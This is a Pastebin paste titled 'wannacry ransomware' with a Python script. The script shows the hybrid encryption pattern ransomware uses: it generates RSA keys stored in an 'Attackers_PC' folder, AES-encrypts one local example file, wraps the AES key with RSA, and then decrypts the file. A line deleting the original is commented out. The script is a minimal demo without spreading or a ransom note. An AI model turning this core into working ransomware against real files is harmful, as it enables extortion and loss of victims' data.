Advertisement
BiaxialRain305

wannacry ransomware

Jun 6th, 2024 (edited)
800
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.27 KB | None | 0 0
  1. from cryptography.hazmat.primitives.asymmetric import rsa, padding
  2. from cryptography.hazmat.primitives import serialization, hashes
  3. from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  4. from cryptography.hazmat.primitives import padding as sym_padding
  5. import os
  6.  
  7.  
  8. # Step 1: Generate and Serialize RSA Keys
  9. def generate_key():
  10.     # Generate a new RSA private key
  11.     private_key = rsa.generate_private_key(
  12.         public_exponent=65537,  # Commonly used public exponent for RSA
  13.         key_size=2048  # Key size of 2048 bits, providing a balance between security and performance
  14.     )
  15.     public_key = private_key.public_key()  # Generate the corresponding public key from the private key
  16.  
  17.     # Serialize the private key to PEM format (PKCS8, no encryption)
  18.     pem_private_key = private_key.private_bytes(
  19.         encoding=serialization.Encoding.PEM,
  20.         format=serialization.PrivateFormat.PKCS8,
  21.         encryption_algorithm=serialization.NoEncryption()  # No encryption on the private key itself
  22.     )
  23.  
  24.     # Serialize the public key to PEM format
  25.     pem_public_key = public_key.public_bytes(
  26.         encoding=serialization.Encoding.PEM,
  27.         format=serialization.PublicFormat.SubjectPublicKeyInfo
  28.     )
  29.  
  30.     # Save the private key to a file
  31.     with open('Attackers_PC/private_key.pem', 'wb') as f:
  32.         f.write(pem_private_key)
  33.  
  34.     # Save the public key to a file
  35.     with open('Attackers_PC/public_key.pem', 'wb') as f:
  36.         f.write(pem_public_key)
  37.  
  38.  
  39. # Step 2: Encrypt a File
  40. def encrypt_file():
  41.     # Load the public key from the PEM file
  42.     with open('Attackers_PC/public_key.pem', 'rb') as f:
  43.         pem_public_key = f.read()  # Read the PEM file content
  44.         public_key = serialization.load_pem_public_key(pem_public_key)  # Load the public key from the PEM content
  45.  
  46.     # Read the file to encrypt
  47.     with open('example.txt', 'rb') as f:
  48.         file_data = f.read()  # Read the file content into memory
  49.  
  50.     # os.remove('example.txt')  # Deletes the file
  51.     # Generate a random AES key for encryption (AES-256)
  52.     aes_key = os.urandom(32)  # Generate a random 256-bit key for AES
  53.  
  54.     # Encrypt the file data with AES
  55.     iv = os.urandom(16)  # Generate a random Initialization Vector (IV) for AES
  56.     cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv))  # Set up AES in CBC mode with the key and IV
  57.     encryptor = cipher.encryptor()  # Create an encryptor object
  58.     padder = sym_padding.PKCS7(
  59.         algorithms.AES.block_size).padder()  # Create a padder to pad the data to a multiple of the block size
  60.     padded_data = padder.update(file_data) + padder.finalize()  # Pad the file data
  61.     encrypted_data = encryptor.update(padded_data) + encryptor.finalize()  # Encrypt the padded data
  62.  
  63.     # Encrypt the AES key with the RSA public key
  64.     encrypted_aes_key = public_key.encrypt(
  65.         aes_key,  # Encrypt the AES key itself
  66.         padding.OAEP(  # Use OAEP padding for the RSA encryption
  67.             mgf=padding.MGF1(algorithm=hashes.SHA256()),  # Mask Generation Function based on SHA-256
  68.             algorithm=hashes.SHA256(),  # Hash algorithm for OAEP
  69.             label=None  # No label used
  70.         )
  71.     )
  72.  
  73.     # Save the encrypted file data and IV to a file
  74.     with open('encrypted_file.bin', 'wb') as f:
  75.         f.write(iv + encrypted_data)
  76.  
  77.     # Save the encrypted AES key to a file
  78.     with open('Attackers_PC/encrypted_key.bin', 'wb') as f:
  79.         f.write(encrypted_aes_key)
  80.  
  81.     # Print statements for debugging (to see the original, encrypted data, and encrypted AES key)
  82.     print("Original file data:", file_data)
  83.     print("Encrypted file data:", encrypted_data)
  84.     print("Encrypted AES key:", encrypted_aes_key)
  85.  
  86.  
  87. # Step 3: Decrypt the Encrypted File
  88. def decrypt_file():
  89.     # Load the private key from the PEM file
  90.     with open('Attackers_PC/private_key.pem', 'rb') as f:
  91.         pem_private_key = f.read()
  92.         private_key = serialization.load_pem_private_key(pem_private_key, password=None)
  93.  
  94.     # Read the encrypted file data and the IV
  95.     with open('encrypted_file.bin', 'rb') as f:
  96.         iv_and_encrypted_data = f.read()
  97.         iv = iv_and_encrypted_data[:16]
  98.         encrypted_data = iv_and_encrypted_data[16:]
  99.  
  100.     # Read the encrypted AES key
  101.     with open('Attackers_PC/encrypted_key.bin', 'rb') as f:
  102.         encrypted_aes_key = f.read()
  103.  
  104.     # Decrypt the AES key with the RSA private key
  105.     aes_key = private_key.decrypt(
  106.         encrypted_aes_key,
  107.         padding.OAEP(
  108.             mgf=padding.MGF1(algorithm=hashes.SHA256()),
  109.             algorithm=hashes.SHA256(),
  110.             label=None
  111.         )
  112.     )
  113.  
  114.     # Decrypt the file data with AES
  115.     cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
  116.     decryptor = cipher.decryptor()
  117.     decrypted_padded_data = decryptor.update(encrypted_data) + decryptor.finalize()
  118.     unpadder = sym_padding.PKCS7(algorithms.AES.block_size).unpadder()
  119.     decrypted_data = unpadder.update(decrypted_padded_data) + unpadder.finalize()
  120.  
  121.     # Save the decrypted data to a new file
  122.     with open('decrypted_example.txt', 'wb') as f:
  123.         f.write(decrypted_data)
  124.  
  125.  
  126. # Example usage
  127. generate_key()
  128. input("GENERATING KEYS...")
  129. encrypt_file()
  130. input("ENCRYPTING FILE...")
  131. decrypt_file()
  132. input("DECRYPTING FILE")
  133.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement